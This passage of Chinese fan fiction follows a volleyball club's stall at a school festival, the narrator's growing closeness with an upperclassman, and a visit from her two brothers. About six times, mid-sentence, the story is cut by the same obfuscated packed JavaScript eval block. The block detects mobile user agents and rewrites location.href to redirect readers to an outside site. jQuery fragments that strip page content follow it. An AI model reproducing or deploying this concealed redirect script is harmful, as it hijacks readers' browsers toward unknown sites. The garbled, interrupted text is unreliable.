下意识将手掌贴上面颊，感受着掌心触到的让我自己都莫名有些担忧是不是发烧了的滚烫温度，我不自觉攥紧了另一只手掌中的透明塑料包装袋，忍不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309414|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头，欲盖弥彰地将发烫的脸颊埋进掌心。 ……好开心。 虽然不知道这样的承诺到最后究竟还会不会生效……但至少现在、至少现在。 ——至少现在我有在被认真地、专注地注视着。 好幸运啊，小岛。 ……真的好幸运啊。 无声地这么喃喃着，半晌，我突然由衷地抿起唇角，随即控制不住地笑起来。 ……好幸福。 # 十二点四十出头的时候，排球部的摊位就在我们这一群人齐心协力的布置下完全准备好了，最后看了看已经有人来了的街道，黑尾前辈沉思了一会儿，决定提前开摊。 “不过就算现在已经陆陆续续有人来这条街了，但还是完全没人来我们摊位玩欸，黑尾前辈。”因为下午还想去玩所以将自己的排班塞到第一个的灰羽蹲在收银的台子旁边，左瞧瞧这边篮球部已经有人了的摊位，右瞧瞧那边棒球部也已经聚了些人的摊位，最后看看面前排球部空无一人的摊位，不禁沉吟两秒，随即直白道出目前多少有些残酷的现实。 站在他旁边的黑尾毫不犹豫地伸手给他一下，“闭嘴啊列夫。” “明明是事实啦黑尾前辈，干嘛打我啊！”灰羽一时不防被拍地往前栽了一下，刚捂着脑袋坐起来便不禁有点不忿地嚷起来。 “因为很乌鸦嘴。”出来看一眼摊位就准备回排球部活动室的研磨前辈冷酷无情地道，“等会儿要是真的没人来让我们亏本了的话就都怪你，列夫。” “欸——？！”灰羽露出天塌了的表情，“怎么这样！” “什么什么，你们在说什么？”很突然的，有一道响亮的声音远远传来，莫名透出点微妙的耳熟。我下意识转头看过去，第一眼率先看到了那个很有辨识度的、黑白相间的、有些像猫头鹰的发型。 ……欸？ 我多少有些出乎意料地微微睁大了眼。 65. 第六十五个小岛 熟悉的枭谷主将语气透出些浓厚的好奇，“怎么了？列夫在说什么？” 黑尾前辈无意多言，只抱臂睨他一眼，看起来似乎是准备没好气地说些什么，但话到嘴边又突然顿住，随即话锋一转，连语气都变得热切几分，“没什么。木兔啊，你要不要来玩玩我们排球部的项目？” ……不管是听起来还是看起来都有点不怀好意啊，黑尾前辈。 我不自觉又看了眼已经离开摊位上前，一把搭上木兔前辈的肩膀正晓之以理动之以情地试图说服他贡献我们排球部的第一单的黑尾前辈，沉默了两秒，心情有些微妙地这么想着。 “还真不愧是黑尾前辈啊。”刚走到附近的、枭谷那位莫名看着没什么精神的黑发前辈语气莫名有些微妙地这么感慨一句，随即视线动了动，落在我身上，语气平和地跟我打了声招呼，“好久不见，小游同学。” 我还看着似乎已经被说动了的木兔前辈，闻言一时没回神，先条件反射地应了一声，“赤苇前辈好久不见……只有你和木兔前辈来吗？” 说到一半时下意识望了一圈、却没看到枭谷的其他人，我不禁稍微有点疑惑地这么问。 赤苇闻言微微沉默着停顿两秒，他抬眸看了眼排球部摊位前全齐的阵仗，先解释了一句，“其他几位前辈都有来，只是他们先去其他地方玩了，待会应该也会过来。我们两个是因为木兔前辈说你们的摊位正好这个点开，就想着先来这里看看你们。” 随即，他顿了顿，也同样有些疑惑地问我，“你们排球部都在吗？”这么多人一起值班？ “啊，这个啊。”闻言，我下意识回头看了眼整整齐齐一起聚在摊位里的部员们，解释道，“大家正好一起把摊位布置出来，加上还没到摊位开始正式解散的时间，就干脆留下先围观一会儿了，如果要说值班的话其实只有两个人来着，其他人应该再过一会儿就走了。” “原来如此。”赤苇前辈感慨一声，刚想继续说什么，便被那边突然响起来的动静吸引了注意，下意识转头看去。 嗯……虽然这么说有点冒犯，但事情没出我意料，闹出这么大动静的的确是木兔前辈。 他似乎被黑尾前辈的随口胡诌说服了，兴致勃勃地伸手遥遥一指摊位旁的场地，大声道：“那就让你们见识一下什么才是王牌的实力，黑尾！！瞧好了吧！” 黑尾前辈看起来完全没被连带着一起燃起来的样子，他面上还带着笑，却十足冷静地朝旁边的好友摊开手，语气爽快，“当然没问题，承蒙四百日元！让我们感谢木兔光太郎贡献的第一单！” 旁边蹲在摊位前的部员们很给面子地齐刷刷鼓起掌来，木兔前辈看起来不是一般的受用，看起来连最开始对“两百日元”变成“四百日元”的疑问都暂时忘记了，爽快地抽出六百日元递给黑尾，道：“HeyHeyHey——瞧好了吧！黑尾！” 看着他雄赳赳气昂昂往场地走的背影，旁边安静了好一会儿的赤苇前辈顿了顿，半晌转头，语气迟疑地问：“四百日元是……？” 我早猜到他的疑问，闻言伸手，指了指摊位一个不太起眼的地方，摆着的那个还没来得及摆出来的写着“外校排球部选手收双倍费用并仅限一次”的牌子，一切尽在不言中。 赤苇沉默了一会儿，选择揭过这个话题，转而看向那边已经开始活动身体的木兔前辈，转移话题，“走吧，去看看。” “喔，好。”我对去哪不大所谓，收到邀请便无不可地应了声，跟着他一起过去。 木兔前辈那里已经很有仪式感地抽完了签，是前排二号位的区域，木兔前辈在发球区往前远远看了眼，再琢磨琢磨规则，不禁摸了摸下巴，“这不是很简单嘛，黑尾你们真的不会赔光吗？” 他看起来真心实意地在关心排球部的生意，但黑尾前辈“切”了一声，并不领情，“再说就单独给你提升难度！快点快点，不要占位置。” “明明后面也没有客人吧！”木兔有些不大高兴地嚷了一句，条件反射地抬手、眼也不眨地接下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309415|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑尾用力掷过来的排球，顺手在掌中转了一圈，随即神色微变，敛去面上原本和朋友调侃时会露出的欢快轻松的神色，眉毛下压，眼神锐利起来。 我望着他认真而专注的神情，顿了顿，不自觉感慨，“……每次看都稍微会有一点吃惊啊。” 明明场下是很吵闹又没什么心眼的单细胞生物来着，结果一到球场上就跟之前完全不一样了，要如果不是偶尔（其实并不是很偶尔）会突然出现返场的消极模式，我都要怀疑木兔前辈是不是有一些奇妙的双重人格了——开玩笑的。 但木兔前辈场上和场外的差距很大的确是事实。 抛球、起跑、跳跃、扣球。 整个过程流畅而顺利、是经历过千百次练习后才能显现出的游刃有余与熟练，他奋力跃起、再用力一扣，排球便像一道流星似地带着拖尾飞了出去，狠狠砸在地板上。 木兔前辈看起来意外地为这么个活动全力以赴、手感也很好的样子，力道十足，隐隐比上次合宿时发球的速度还快了两分。 但……他的发球完全没落在抽签抽到的地方——已经飞去后场了，还是颗很完美的压线球。 ……这不是跟抽签抽到的区别完全不沾边吗。 稍微有点复杂地这么想着，我下意识偏了偏头，看向旁边可能木兔前辈明显更熟一点的赤苇前辈。 黑发前辈的心情看起来比我更复杂，他默了默、沉默了好一会儿，才看着球脱手才意识到要发到指定区域、于是下地就开始破防陷入消极模式的木兔前辈，语气微妙而沉重，“不出意外的话，木兔前辈应该是手感太好了导致下意识发了最近练习最多的球……” 说着，他上前准备尽猫头鹰饲养员的责任、重新让木兔前辈打起精神，一边还不忘回头朝我礼貌地点点头，“我先失陪了。” 我下意识先应了一声，随即看着他隐约透出一股习以为常感觉的背影，不禁有点微妙地沉默了片刻。 ……这种情况竟然还不算出意外了吗？ 66. 第六十六个小岛 赤苇前辈走到前面之后我就听不太到他们说话了，只隐隐约约能传来什么“这次只是意外”“更加出彩的表现”之类的词语。 我听了会儿就失了兴趣，感受到来往行人注意到那边莫名其妙上演的行为艺术而投来的目光，不自觉默默往人群中缩了缩，尽量减少自己被其他人注意的可能。 找了个靠里的、被隐隐包围住的位置站定，我下意识轻轻抬眼扫了一圈周围的人，目光在前排一些的、近距离围观前方上演的枭谷特色漫才的夜久前辈的背影上停顿了一会儿，又生怕停留时间太长被人发现一般匆匆移开视线。 虽然已经过去有大半个小时了，也已经自己单独冷静了一会儿，但现在看到夜久前辈却还是会不自觉地感觉到脸颊有点发烫，很轻微，只隐隐约约漫上来了一丝灼意，没有刚才的反应那么强烈。 这么说的话人果然是一种适应性很强的生物啊……就算我现在主动想起刚刚的事情，难以控制的、突然冒出的反应也已经没有最开始那一次那么强烈了。 也可能是脱敏了……但都差不多的，一个意思。 而且，其实真要说的话哪个都无所谓，我只希望待会儿邀请夜久前辈一起逛文化祭的时候不会脸红得太明显……太明显的话、会稍微有点难以开口。 这么想着，我下意识抬手，用手背贴了贴脸颊。 被风吹过后的脸颊泛着凉，触上去的的第一反应首先是凉，覆在上面贴了一会儿后才随即察觉到其中隐藏着的那点从皮肉里透出的细微热意。 有点像发了低烧的感觉……这么想着，我下意识摸了摸额头。 凉的，没发烧。 莫名地松了口气，我随即抬起眼，还没锁定某个确切的东西作为视线落点，便被如雷声突然炸响的一个撞击声吸引了注意。 是不知道何时恢复精神、汲取了上次的教训打出真正意义上的完美一球的木兔前辈。 视线往砸在地上反弹起来、随即远远滚走的排球上飘了一下，没两秒便收回。我动了动视线，望向正手握成拳将手臂往下一压、原地欢呼起来的木兔前辈，“耶——！” 站在场边不远处的赤苇前辈语气平淡地鼓励：“对，就是这样，木兔前辈。还有最后一球。” “没错！就让我木兔光太郎来做一个漂亮的结尾！！” 最后一球当然没出意外，木兔前辈依旧发了一个很完美的球，成功在三次机会中取得命中两次的好成绩，带走了一瓶运动饮料。 不过，他本人对自己的成绩倒是很不满意，“黑尾，我还要再打一次！” 黑尾前辈正在接待被木兔漂亮的几球吸引过来的客人，正忙着收钱，闻言转头瞥他一眼，毫不留情拒绝，“才不要，外校排球运动员只能打一次。而且已经有其他客人来了。” “欸——？！我明明还花了两倍的钱，怎么这样！” “摊位上有写啊，‘外校排球部选手收双倍费用且仅限一次’。” “？我完全没有看到！！黑尾！！！” “很吵啊你！” 他们又吵吵闹闹地拌起嘴来，我没看两秒就深感习以为常地收回视线，顿了顿，思绪重新接上刚刚被打断的内容，下意识侧了侧头，望向不远处正跟旁边的灰羽说些什么的夜久前辈。 盯他的那两秒思维莫名放空起来，我不自觉动了动唇，没经思考地、下意识微微提高了点声音，喊了他一声，“……夜久前辈。” “嗯？怎么了？”他闻声止住原本正在跟灰羽说的话，下意识侧头望过来，声音隐隐透出些疑惑、在望见我时又忽地掺上点讶异。 灰羽瞬间露出副劫后余生的表情，马不停蹄地转头开溜，“夜久前辈既然小游叫你那我就先走了拜拜！！” “？”夜久被他的话引回注意，看着他转眼消失的背影不禁有点无语凝滞地沉默半晌，忍不住气笑了般冒出个气。 原本还有些为自己没准备好就莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309416|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名其妙喊了声夜久前辈而有点紧张与后悔的心情被灰羽这么一闹莫名散了些，我跟着他逃窜的背影望过去，没忍住般笑了声。 心情兀地轻松不少，回过神发现夜久前辈已经走到跟前时我也没太紧张，只先下意识乖巧地叫了他一声，“夜久前辈。” 于我身旁站定的男生闻言冒出个没什么意义的语气词算做应声，随即微微偏头望过来，却没问我要做什么，只看着我的脸弯唇笑了下：“待会儿和我一起逛文化祭吧，好不好？” 还没出口就被堵在喉咙里的话将我实打实噎了一下，我忍不住微微睁大了眼，有点震惊地望向他，下意识反问，“什么？” 夜久微微低下头和我平视，闻言笑了下，如我的意，重复道：“待会和我一起逛文化祭吧，好不好，小岛？” 我还有些没反应过来，有点懵地望着他，随即便看他顿了顿，忍不住得逞似的笑开，顺手戳戳我的额头，语气隐隐透上两分无奈的笑意，“都表现的这么明显了，怎么还这么坚定地觉得我不会先你一步说啊。” “欸、欸？”我条件反射伸手捂住额头，闻言顿了顿，下意识反问，“真的很明显吗？” 话出口的那一刻我才意识到自己刚刚那话其实跟默认没什么区别，不禁沉默两秒，视线飘忽一瞬，又重新转回来，刚想说什么，就听到夜久前辈语气意外平和的回答。 “是哦，很明显。”他道，“明显到我确定，再不说出口的话一定会被枪先的。” 从他的话中听出什么，我呼吸微微一滞，下意识抬眼，望进他的眼中看了两秒，随即顿了顿，心中明明已经怀揣着某个答案，却还是确认般地再次问道：“所以……夜久前辈是也想和我一起逛文化祭吗？” “是。”夜久几乎在我话音落下的那一刻便毫不犹豫地应下，他望着我的眼中含着点些微的、明朗的笑意，他随即明知故问地反问，“那你呢？小岛。” “你也想和我一起吗？” 67. 第六十七个小岛 说实在的，其实就算是让我亲自回忆之后来说……我其实也很难说清我到底是以什么样的心情说出个“是”字的。 回想起那一瞬间的记忆时，首先涌上的慢慢悠悠吹在耳畔的、裹挟着秋日凉意的风，阳光从头顶倾洒而下时晃过眼睛倒映在视网膜中的明亮光斑，但最后定定停在眼前的，却是夜久前辈漾着些微笑意的、澄澈而明亮的眼睛。 真要说的话应该是什么也没想吧，反应过来的时候就已经很干脆地应下来了。 是、当然、没错。 ……我也想和你一起、不单单只有文化祭。 # ……其实你也同样坚定地相信着，不管你提出什么我都一定会答应你的吧，夜久前辈。 望着他带着了然的明朗笑意的眉眼，我安静了两秒，突然明悟般这么想。 ……不、也不能说是同样。 ——你分明比我更加笃定啊，夜久前辈。 # 排球部的排班一小时轮一次，三人一组，我跟夜久前辈被分在第二组，另外一个搭档则是福永前辈。 离我们同上一组换班的时间只有半个小时出头，时间不多，去稍微远点的地方都大概率会赶不回来，我就和夜久前辈商量了一下，考虑到夜久前辈是真正意义上的到现在都没吃中饭（我好歹吃了点甜品小吃）、再加上之后值班结束就已经三点了，便决定趁这个时间去附近找找小吃摊、然后买点东西垫垫肚子。 啊、当然，这种觅食行动自然不可能只有我们两个人。 毕竟为了赶十二点的集合时间，其实有蛮多人都是没有吃中饭就过来了的状态（我觉得这里有必要提一下虽然本来就在集合地点但沉迷游戏无法自拔所以错过了午饭的研磨前辈），一批人听我们要去买吃点便齐齐举手说要一起，还有些些人则因为要值班而请求我们帮他们带点回去——这里点名黑尾前辈和灰羽。 拿着他们递过来的清单和钱，我不禁有些迷惑地低头看两秒，再抬头看过去，语气疑惑，“灰羽，你和黑尾前辈刚刚不是一起组团去逛小吃街了吗？”现在又饿了？ 灰羽握拳：“小吃怎么可能吃得饱嘛，而且刚刚准备摊位还熬了好多力气，我已经饿了！小游帮帮忙吧我想吃玉子烧！！” 我：“倒也没说不帮忙带……还有别的吗？” 灰羽：“我还想吃可丽饼！抹茶巧克力味道的那个。” 我：“可丽饼啊……附近是不是没有可丽饼的摊位来着？我记得我来的时候没看到。” 灰羽：“没关系没关系，没有就不买好了，但有的话就帮我买一下吧！拜托了小游！” 我：“哦、哦……好，没问题。” 顿了顿，我又转头，看向那边正在接待客人的黑尾前辈，等他忙完一波，才微微拔高声音，问他，“黑尾前辈，你还有什么想吃的吗？” “我都可以——随便带一份就好了！”黑尾前辈拉长尾音回我，随即背对着我随意地朝我挥了挥手。 夜久在旁边围观了一切，不禁侧目看了黑尾两秒，吐槽，“这家伙怎么莫名其妙突然耍帅。” 我没什么感觉，闻言下意识再瞧两眼，疑惑，“有吗？” 灰羽也跟着凑过来，蹲在旁边笃定道：“肯定有！我都看到了！” “你们蛐蛐人倒是背着当事人啊！真当我听不见是吧！列夫！快去干活，球还没捡呢！”黑尾忍无可忍地转头骂一句，夜久见被率先发难的是灰羽，便假装最开始那句话不是自己说的一样转身，催着我一块走。 我微妙沉默两秒：黑尾前辈肯定最开始就听到了吧，灰羽说完才发难多半是因为那家伙多少有点太猖狂了……但出于不厚此薄彼的理念，黑尾前辈多半会从后往前挨个捋过去—— “还有夜久也是，你自己就算了倒是不要带坏人家小游啊！！” 听着从他那传来的声音，我顿了顿。 ……啊，猜对了、但又没完全对。 一半吧……把对我的谴责归结到夜久前辈身上了。 虽然不知道为什么会这么说、但是莫名就觉得是他们拌嘴时说的话的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309417|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒也正常……到底都在后辈面前留下了什么奇怪的形象啊，前辈们。 默默撇开视线，我将列出来的清单放进口袋里，转头望向准备跟我和夜久前辈一起去觅食的海前辈、芝山还有手白，沉吟两秒，有点犹豫地问：“……我们晚点再走？” # 总之最后是比原先计划的晚了十分钟才走的、回来也差不多是卡着换班的点回的。 灰羽欢呼着接过我手里的可丽饼，“太好了！谢谢你小游！！” 我觉得他稍微有点夸张，“……玉子烧倒是也记得拿走啊，为什么看到可丽饼就忘掉了。” 一边说着，我将手上拎着的打包回来的玉子烧递到他手上，一边转头找到黑尾前辈，把给他带回来的天妇罗和给研磨前辈带的苹果派一齐交到他手里，“黑尾前辈你顺便给研磨前辈送一下吧，我刚好接班。” 黑尾前辈给我比了个“ok”的手势，“谢谢小游啦，那我就先走了。” 我朝他摆摆手，“拜拜，黑尾前辈。” 排球部一组轮班是三个人，一个收银、一个捡球，还有一个为了预防人太多忙不过来而加上的保险栓。 虽然听着很不像但我其实是那个保险栓来着……夜久前辈和福永前辈选位置的时候很有默契地一个选了捡球一个选了收银，就给我留了保险栓，我对这个也不大在意，就没异议地答应下来了。 排球部摊位上没什么人，我没什么事干，就自己找了个地方蹲着，摸出手机看了看消息。 ……欸？研二哥给我发消息了？ 他不是在和朋友玩吗，怎么突然要来找我？ 这么稍微有些疑惑地想着，我看着页面上显示十分钟之前的消息，没什么犹豫地下意识点进去，接连两条消息就这么唰地跳到我面前。 【研二哥：小绘啊】 【研二哥：你原来不是摄影部的吗】 沉默了两秒，我不禁有点迷惑地看着他的消息。 ……不、等等。 ……什么叫，我原来不是摄影部的？ 68. 第六十八个小岛 萩原正站在摄影部的摊位旁边怀疑人生。 “不是，”他百思不得其解，“小绘她竟然不是摄影部的？她明明上次还问我合宿的事情啊？轻音部和乐器相关的部门也不用合宿的吧？” 他一连发出数个疑问，满脸对自己判断失误的不可置信，已经开始怀疑是不是摄影部人太多了、他问的那个人恰好不认识自己的妹妹——毕竟小绘那孩子性子本来就安静，跟同社团的前辈不熟也情有可原。 而且小绘可能会参加的、有合宿环节的社团也就只有摄影部了吧？ 他顿了顿，又开始觉得自己是不是刻板印象太重了，“难道这种和吉他有关的社团也会出现合宿的环节？现在的社团已经发展到这个地步了吗？” 旁边虽然已经商量好了分开走、不跟同期一块去他们妹妹的社团参观（虽然他们一致认为觉得更像考察但既然这俩人觉得是参观那就参观吧），但目前还没分开于是围观了全程的、参加过网球社团的降谷表示有话要说，“说到合宿第一反应不应该是运动社团吗？就算你们妹妹是个不擅长运动的人也可以当经理啊，为什么第一反应是乐器社团发展到有合宿的阶段了。” 他说到最后堪称是有些费解了，于是转眼看向同期，却被他毫不犹豫地否定掉这个猜测。 “不可能的啦，”萩原极其笃定，“小绘那孩子不可能参加运动社团的。” 伊达其实觉得降谷说得很有道理（尤其是见证萩原持之不懈地问了三四个摄影部的部员但得到的都是否定的回答之后），他同样有些疑惑且好奇地问：“为什么这么说？” 萩原：“哪有这么多理由嘛，只是不管是正式部员还是经理对小绘来说都未免太ooc了吧，完全想象不出来啊。” 降谷：“这不是完全没有正经理由吗？！” 萩原：“这就已经是很正经的理由了小降谷，你不懂。” 降谷：“？你又在懂什么啊。” “因为小绘就是那种非常、非常不擅长和人相处的类型啊。”松田在旁边低头划着手机屏幕，试图刷新出自家虽然每条消息都回但时间一直看缘分的妹妹的消息，无果，不免微微皱了皱眉，终于舍得抬头，这么道。 “说实话，我一直都觉得她永远不会参加社团的来着。” “摄影部和乐器部这种交流不多的社团就算了，需要跟大量部员沟通交流的运动社团不管怎么说对她来说都有点太超过了吧。” “熟悉之后感觉她倒也不是完全不可能接受，但这都建立在她相处过后的基础上啊。” 顿了顿，他吐槽，“小绘她绝对最开始就卡在社团申请表那一步了。” 与其说是想象不到她加入运动社团的样子、不如说是完全想象不到她在没有加入的情况下和运动社团的大部分人都熟到愿意加入的样子（毕竟只有几个很熟她也不可能有加入的勇气）。 不太可能、真的。 ——但可能性小不能说是完全不可能。 看着终于收到了消息的手机屏幕，松田下意识点开，一目十行扫过后不禁露出个有点微妙的复杂表情，同样开始怀疑人生，“——哈？” 其他人看着他这副不可置信的表情，不禁多少有些好奇地追问，“什么什么？” 因为刚刚给妹妹发消息是在三人群聊发的，萩原几乎是立刻就意识到是对方回了消息，便仗着群聊另一个人的身份毫不客气地劈手夺下幼驯染的手机，看向屏幕正中央的消息。 两秒后，萩原：“？” “——排球部？？” # 我完全不知道自己发出的那条【我是排球部的经理啊研二哥】给对面造成了多大的阴影，等了一会儿，见对面没继续回消息不禁有些迷惑地歪了歪头，琢磨两秒，没想出个所以然来，便顺手将手机收了起来，起身，准备继续去帮忙了。 不过在此之前，我姑且也从研二哥的消息里意识到些什么，下意识抬头，无意识地往外张望两下，又转而回头，看向刚从排球部活动室钻出来、作为排球部的部长在摊位运行期间没有走的打算的黑尾前辈。 啊……应该没问题吧？要不还是说一下？ 这么想着，我兀自犹豫着思考两秒，摸到排球部主将旁边，“黑尾前辈，我哥哥他们待会儿应该会过来看看……应该没问题的吧？” 黑尾被我吓一激灵，“哇啊，小游你怎么走路都不出声的啊！” 他惊魂未定地稳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309418|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳心神，冷静下来回忆两秒，反应过来我刚刚在说什么，“家人要来吗？没问题的啊，尽管来就好，能提供点销售额就更好了。” 我语塞两秒，“……好？” 黑尾：“？” “不、等等，怎么真答应了？我开玩笑的啊。”他大惊失色。 我欲言又止：“……我倒也没到听不出你在开玩笑的程度，黑尾前辈。” 黑尾略心虚地哈哈一笑，“……哈哈，我知道的。” ……这不是完全不像知道的样子吗。 # 总之，在跟黑尾前辈提前报备过之后，我其实一直觉得接下来不会再出什么能让我觉得意料之外的事情了。 毕竟哥哥们过来也顶多是看看我的社团环境什么的，到时候挨个介绍一遍、再体验一下项目，他们来排球部一日游的行程大概就结束了，按理来说不会出什么意外才对。 直到在摊子前远远看到他们时朝他们挥了挥手，还没来得及打招呼、便被研二哥抢先问道：“小绘，你上次问我要怎么面对陌生人的那次合宿就是排球部的合宿吗？” 我完全没料到会被问到这个，不禁有点懵地“啊？”了声，“……对啊？是每年都有的多校合宿。” 研二哥看起来刚要继续问些什么的动作一顿，“多校合宿？” “我们自己的合宿也没有五十多个人啊……”顿了顿，联想到刚刚研二哥给我发的消息，我突然意识到什么，“欸？研二哥你不知道我是排球部的经理吗？我没说过？” “完全没有，我和萩可是一直以为你是摄影部的，害我好找。”阵平哥在旁边吐槽地接话，用了些力、伸手搓了搓我的头发。 “……忘掉了。”我自知理亏，便半点没反抗（虽然不理亏也不会反抗就是了），连声音都不自觉弱了两分，“我一直以为你们知道的来着……所以是先去了摄影部的摊位吗？” “bingo，”研二哥打了个响指，“本来是想给你一个惊喜的，结果过去完全没找到人呢，小绘。” “……啊，这个。”我不自觉重点一歪，顿了顿，诚实道，“虽然一直没说……但其实你们真的来了这件事对我就已经是最大的惊喜了，哥哥。” 69. 第六十九个小岛 “哇哦。” 短暂安静了一会儿的空气中，我听见研二哥隐隐有点震撼的感慨声。 “小绘，你上高中的这半年都经历了什么啊，很狡猾嘛，竟然突然说这种话。”他动作夸张地擦了擦眼角不存在的眼泪，“研二哥超级感动的。” 我没懂他在感动什么，“……？” “别管他。”阵平哥毫不犹豫地一掌推开身旁的幼驯染，随即低头看向我，顿了顿，稍微有点别扭地接话，“你愿意邀请我们来文化祭对于我们来说也同样是一个惊喜，小绘。” “知道你有了要好的朋友和前辈，我们都很高兴。”他这么对我道。 不知为何，我听着他的声音、莫名有点发怔地看着他，半晌，下意识侧了侧头，望向那边旁边带着笑望着我的研二哥。 “你能变成这样真是太好了，小绘。”他由衷地笑道，“来音驹意外是个很不错的选择呢。” 虽然最开始知道我想要选离家最近的、偏差值一般的音驹时他们其实稍微有点遗憾，毕竟以我的偏差值来说，上这所学校不管怎么说都多少有点可惜。 但音驹离得近不用住宿、也跟着不用跟舍友相处，偏差值虽然不是很顶尖但也称不上低、师资力量不错不至于耽误学习（虽然还是比不上井闼山那样的顶尖私立学校就是了），管理也还算宽松、不会强制要求参加社团——看到这些条件的时候就瞬间理解我为什么会选择填报这所学校了。 但，不管怎么说还是会有些忧心。 理由很多吧，回家要二十多分钟可能会不安全（住宿多少还是有住宿的优点的），偏差值不够高担心会影响到我的未来、总会忧心我在未来会不会后悔自己当初没有报更好的学校，等等等等。 不过现在看来……是好事呢。 能遇到值得敬重的前辈、交到要好的朋友、不再为与人的交流相处感到困扰恐惧、也逐渐能坦然表达自己的想法——真是太好了。 真是太好了，小绘。 # 我依旧没点读心术的技能、因而并不清楚两个哥哥究竟在想些什么，只是敏锐地从他的话语中听出两分复杂又欣慰的、由衷的情感，不禁莫名有些怔松。 ……他们在由衷地为我感到高兴。 虽然不太清楚理由……但、稍微有点开心。 # 阵平哥和研二哥在了解过排球部的摊位内容后毫不犹豫地决定参与了。 “虽然之前没有打过排球但我姑且对自己的运动神经有点自信，”研二哥一边掏钱一边兴致勃勃地这么道，“争取一次给小绘赢个公仔玩偶回来！” 阵平哥已经开始打量奖品台了，“二百日元一只的话你们真的不会亏本吗？看起来能赔个底朝天啊。” 因为提前察觉两个哥哥会来所以专门跟夜久前辈换了个班的我闻言稍微有点无言，“……这个是提前试过的，没有学过排球的人一般三球只能中一球。” 顿了顿，我又提醒，“而且还没试过的话最好不要说这么笃定吧。”很容易被打脸的啊。 萩原沉思两秒觉得有道理，于是丝滑改口，“那我收回我刚刚的话，flag这种东西小阵平一个人立就好了。” 松田莫名其妙地转头看他一眼，“？” 把四百日元放到专门用来放钱的桶里，我随即伸手往旁边指了指，“接下来去找福永前辈抽签定区域就好，就是那边那个黑头发的男生。” 顿了顿，我再回头看两眼，意识到排球部黑头发的人其实蛮多，于是沉思两秒，改口，“算了，我跟你们一起去吧。” “好哦。” 去的时候福永前辈刚把上一个客人发出去的球捡回来，他见我领着两个人过来便紧急刹车，沉吟两秒，两只手各抱着一颗排球就半路拐弯地走了过来，将其中一颗排球夹在手臂中间、再用空出来的那只手拿起旁边随手放在椅子上的抽签筒，很随意地左右摇了两下，然后递过来，一本正经地道：“请用。” 我看着他为了不让排球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309419|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉下来而变得艰难的将抽签筒递过来的动作，再抬头看看他隐隐带着期待的目光，不自觉沉默两秒，问：“……为什么要用上菜一样的服务生语气说话？” “虽然槽点没找齐但还是nice吐槽哦小游。”福永前辈一本正经又艰难朝我竖起一根手指——本来就是捏着边缘把抽签筒拿起来的就不要再把手指竖起来了抽签筒会掉的啊喂。 